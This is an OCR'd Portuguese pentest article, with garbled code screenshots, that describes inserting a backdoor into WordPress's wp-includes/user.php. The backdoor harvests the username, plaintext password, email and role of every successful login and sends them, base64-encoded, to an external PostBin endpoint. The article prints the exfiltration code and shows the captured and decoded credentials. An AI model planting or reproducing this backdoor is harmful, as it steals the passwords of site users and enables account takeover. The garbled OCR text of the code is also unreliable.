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Introducao

Livros e artigos que tratam de pentest no WordPress sempre
falam de upload de webshell e obtencao dos usuarios que estao na
tabela wp_users. Algumas ferramentas usadas na exploracao deste
CMS como Metasploit e WPScan realizam ambos quase
automaticamente. Porém as senhas dos usuarios que estdao nessa
tabela sao criptografas com hash e salt. Dependendo da
complexidade da senha, é impossivel quebra-la. Entdo o que fazer?

Uma das op¢des que nunca vi artigos tratando € a insercao de
um backdoor que exfiltre o usuario, a senha em texto claro e outras
informacdes possiveis apds algum login valido realizado no site.

Tudo comec¢a no wp-login.php

Qualquer login que for feito no WordPress comecga na pagina
wp-login.php. Esta pagina fica na raiz do site e, quando carregada,
monta toda a visualizagao do formulario. Além disso, essa pagina
também trata as informacdes passadas para login, como mostra o
atributo “action” da tag “form”.

<FETE NAWCs TETErrer CONTENTs STriCT-Origin-wnen-<ross-origin /2
netas name="viewpor:™ contente"widthedevice-width™ />
</head>

<body class="login no-§s login-action-login wp locale-pt-br~>
<cscript type«“text/javascript™>
document.body.className = document,bod gpce(‘no-§s°, 35" );
ript>
<div ide"login">

¢hi><a href="https://br.wordpress.org/ " >Pone™ gy NordPress</s></hi>

l <form name«"loginforn™ ide"loginforn" action="http://192,168.9.14/wp/wp-login.php” methode"post™> ]
v
<lobel for="user_login“">Nome de usubrio ou endereco de e-mail</label>
<input type="text" name="log" id="user_login" classe"input™ value="" 3i:e="20" sutocapitalize~"off" />
</p>

<div classe"user-pass-urap™>
<label for="user_pass”™>Senha</label>
<div class="p-pwd™>
<input typesTpassword™ names"pwd” ide"user_pass” class«"input password-input” values™" sizea™20% /

cbutton type="button” class="bdutton button-secondary wp-hide-pw hide-if-no-1s™ data-toggle="0" aris-labe
<span classe"dashicons dashicons-visibility™ aria-hiddens"true®></span>
</button>
</div>

cldius
Figura 1 Action do formuldrio de login de um usudrio no WordPress

Esta pagina analisa a requisicao do usuario para saber qual o
“motivo” que o leva a ela. Ela fara isso passando o parametro “action”,
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enviado na requisi¢ao, por um array de agdes possiveis. Se nenhuma
acao for enviada, entao o cédigo assume que a agao é “login”.

if ( isset( $ GET(['key'] ) ) {
Saction = 'resetpass';

if ( isset( ¢
Saction = '

'confirm admin email’',

WP_Recovery Mode Link Service::LOGIN ACTION ENTERED,

Figura 2 Cédigo da pdgina wp-login.php do WordPress

A acado que me interessa para a inser¢cao do backdoor é a
“login”.

A pagina “wp-login.php” passara a agcao por um “switch case”
para tratar a requisicao de forma correta. No caso do login, é o dltimo
“case”, que também é o “case default”.

Neste “caso”, o cdédigo verificara se foi enviado alguma
informacgéo de login, se o login ou e-mail enviado existe, verificara
esta definido para usar SSL no login e finalmente validara se a senha
do usuario esta correta ou ndo na funcao “wp_signon”.
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}

if ( isset( §_REQUEST(' ..A-:e::_::'} o ML

Sredirect_to = § REQUEST(['redir rect to'}:
// Redirect to HITPS if user wants SSL.
if |( «secuxe cookie L4 false !'== gtrpos| «zedxrect _to, 'wp-admin' ) ) {
u:edzrecc to = preg replace( '|"htio: . 'hospac//', Sredirect to )
} else {

$redirect_to = admin url():

$reauth = empty( $_REQUEST['reauth'] ) ? false : true;

ISusex = wp_signon( array(), Ssecure coockie ); I <
& SRS

if ( empty( $_COOXIE[ LOGGED_IN COCKIE ] ) ) |
if ( headers_sent() ) |
Suser = new WP_Exrox(

‘testc

pokie',

Figura 3 Cédigo da pdgina wp-login.php do WordPress

Esta funcao esta no arquivo “user.php”, dentro da pasta “wp-
includes”, e é nela que ocorre a autenticagdo do usudrio e senha (que
ainda esta em texto claro). A senha é criptografada e verificada com
a senha criptografada que esta no banco. Caso a ambas sejam
iguais, entdo é criado um objeto com todas as informacdes do
usuario.

7

$secure cookie = apply filters( 'se ookie', $secure cookie, Scredentials );

global Sauth_secure_cookie; // XXX
fauth_secure cookie = $secure coo

¢k o pass this to wp_authenticate _cookie().

add filcver( 'aucthenticate', 'wp auth

Fuse: = wp_authenticate( Scredentials{'ussr login'], Scredentials['user password'] ):l

if ( is_wp_errox( Suser ) ) |
return Suser;

wp_set_auth_cookie( Suser->ID, Scredentials|'remember'], $secure_cookie ):
/--
* Fires after the user has successfully logged in.

* @since 1.5.0

* @param string Suser login Username.

* @param WP_User Suser WP_User object of the logged-in user.
./

do_action( 'wp_login', Suser->user login, Suser );
return Suser;

Figura 4 Cédigo da pdgina wp-includes/user.php

Se chegar no ultimo “return Suser”, significa que o usuario
estava com a senha correta! Portanto temos a senha em texto claro
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(Scredentials['user_password’]), temos o usudrio enviado
(Scredentials['user_login]) e temos o objeto que é criado com todas
as informacdes do usuario (Suser).

Analisando as informacoes do objeto
Suser

Executando um “print_r" neste objeto para verificar tudo que ele
traz, vejo algumas informacdes interessantes como o ID do usuario,
o e-mail e o “grupo” que este usuario faz parte.

WP_User Object
(

[data] => stdClass Object

user_login] => rafa
[user_pass] => $P$B7.FS02KXaCEXrZSmGx9.CNe@yXHgbL1l
user nicename] => rafa

[user email] => a@a.com

user_url| = p: ocalhost/wp
[user_registered] => 2021-08-24 16:28:12
[user_activation_key] =>

[user_status] => 0@

[display_name] => rafa

)

[ID] => 1
[caps] => Array

[administrator] => 1

)

[cap_key] => wp_capabilities
[roles] => Array

(
)

[allcaps] => Array
[switch_themes] => 1

[edit_themes] => 1

lartivate nlueinel =x 1

Figura 5 Analisando o objeto “Suser”

Portanto uma extragcdo de dados interessante seria uma que
enviasse o ID do usuario, o login, a senha em texto claro, o e-mail e 0
grupo que ele faz parte.
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Criando um endpoint para exfiltracao
dos dados

Para receber os dados usarei um Data Exfiltration através de
uma requisicdo HTTP. Usarei o https://postb.in/ porque é gratuito e
servira para este artigo.

Entrando no site, crio um novo “bin”. A partir de agora, qualquer
requisicao feita para este “endpoint”, o PostBin me mostrara.

Alterando o “user.php”

Agora, no user.php, concatenarei todas as informagdes que me
interessam em uma string, codificarei essa string em base64_safeurl
e concatenarei no fim do endereco do meu endpoint. S6 ai farei uma
requisicao para meu endpoint. O codigo ficou assim:

$my user_data_base64 = str_replace(array('+','/','="),array('-

' '\"),base64 encode($user->data->1D.":" $user->data-
>user_login.":".$credentials['user_password'].":".$user->data->user_email.":".$user-
>roles[0]));

$my_bin = "https://postb.in/1630463391122-7983409434091/".$my_user_data_base64;
file_get_contents($my_bin);

Conferindo o resultado no PostBin

Agora, ap6s qualquer login bem-sucedido no WordPress,
aparecera a requisicao feita no meu endpoint.
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Bin '1630463391122-7983409434091'

GET /1630463391122~ [Req '1630463426018-1736102504655' : 2804:14cB8580:65fd:2caeBaf4110030al
7983409434091/ MTpyYWZhOJEyMzphQGEUY29tOmFkbWiuaXNocmFobal lee o

Hoaders Query Body

xneal-lp: 172.69,102.140

host: posthin

Connection: clowe

accept-encoding gip

clipcountry. B8

clray: 63701 35C3a206290-858
clwisitor: [“scheme™"datps"}
cf-connecting4p:

L ACESBEESAEICHTALAL 100008
odndoop cloudfiae

Figura 6 Log de nova requisigdo feita para meu endpoint no PostBin

Decodificando esta requisicdo com algum base64 decoder,
tenho as informacgdes do usuario logado.

Download CyberChef ¥ Last build: 5 days ago Options 3 Abou%
! 2
Operations Recipe Bl F  nput o + Oz 8§ =
Saicks < ® n MTpyYWZhO3EyMzphQGEUY29tOnFkblluaXNecmFeb31
Favourites W Alphabet -
A-Za-20-9+/=
To Baseb4
Remove non-
From Base6d alphabet chars
To Hex
time: 1ims
Output e B0 m® H
From Hex s -
I1:rafa:123:a@a.com:aduinistratorI
To Hexdump

Figura 7 Decodificando a requisi¢do no CyberChef

Pronto. Dados do usuario exfiltrado com sucesso! =D
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